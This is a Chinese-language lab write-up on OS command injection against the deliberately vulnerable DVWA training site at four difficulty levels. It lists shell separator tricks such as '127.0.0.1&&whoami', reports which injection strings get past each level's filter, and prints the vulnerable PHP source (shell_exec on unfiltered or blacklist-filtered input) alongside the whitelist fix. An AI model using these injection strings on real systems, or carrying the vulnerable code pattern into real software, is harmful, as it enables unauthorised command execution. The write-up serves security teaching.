【OS命令注入02】OS命令注入漏洞靶场实验(基于DVWA靶场四个级别的 command injection)-爱代码爱编程
1 实验简介
1.1 实验目的
- 结合SQL注入、XSS漏洞、PHP语句注入等实验,加深理解注入语句的构造与绕过思路;
- 掌握OS命令注入漏洞的检验与利用方法;
- 加强代码审计能力。
1.2 实验环境
- 靶机:win2008虚拟机,部署WAMP环境,并搭建DVWA靶场。搭建过程参考文章《WAMP环境+DVWA漏洞测试平台搭建过程》。
- 真实机:win10系统。
1.3 实验前准备
- Windows 系例支持的管道符如下:
|
:直接执行后面的语句。例如:ping 127.0.0.1|whoami
。||
:如果命令遇到可以成功执行的命令,那么命令停止执行,即使后面还有正确的命令则后面的所有命令都将得不到执行。例如:ping 127.0.0.1||whoami
。&
:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami
。&&
:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
。
- Linux系统支持的管道符如下:
;
:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami
。|
:显示后面语句的执行结果。例如:ping 127.0.0.1|whoami
。||
:当前面的语句执行出错时,执行后面的语句。例如:ping 127.0.0.1||whoami
。&
:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 。例如:ping 127.0.0.1&whoami
。&&
:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
。
2 实验内容
尝试对不同安全级别的OS命令注入漏洞进行渗透,同时结合其代码审计互相印证学习。
2.1 low级别
- 当输入IP地址为
127.0.0.1
并点击submit时,回显内容为ping的结果。 - 对此,我们推断该处输入参数能带入到后台执行,并回显内容,可能存在注入点。在我们参数输入位置前,应该是有ping命令。
- 我们采用语句whoami对网站及后台进行无损检测,更换为其他命令可实施攻击。修改参数为
127.0.0.1&&whoami
,回显结果如下,可以看到成功注入出系统信息。 - 这是几个注入语句的测试结果对比,可以注入语句可能还有更多:
127.0.0.1&&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami //执行失败,从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //成功执行,仅返回whoami信息。
127.0.0.0.1||whoami //故意输入一个错误的IP,让程序执行或运算符后面的语句。
- 代码审计,可以看到该网页采用了shell_exec函数,同时,参数没有任何过滤。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
2.2 medium级别
- 在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami //执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //成功执行,仅返回whoami信息。
127.0.0.0.1||whoami //故意输入一个错误的IP,让程序执行或运算符后面的语句。
- 代码审计,从其代码分析,在参数输入后对
&&
和;
都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
2.3 high级别
- 在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami //执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami //执行失败,从显示错误信息判断可能是&被过滤
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //执行失败,从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami //执行失败,从显示错误信息判断可能是||被过滤
- 代码审计,从其代码分析,在参数输入后对多种符号都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
2.4 impossible级别
该级别的代码过滤原则采用的是“满足才给过”,而不是前两关的“满足黑名单就过滤”的原则,因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入,比如ping域名则无法ping通。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
3 总结
- 了解windows和Linux系统管道符运行特点;
- 了解OS命令注入的绕过思路。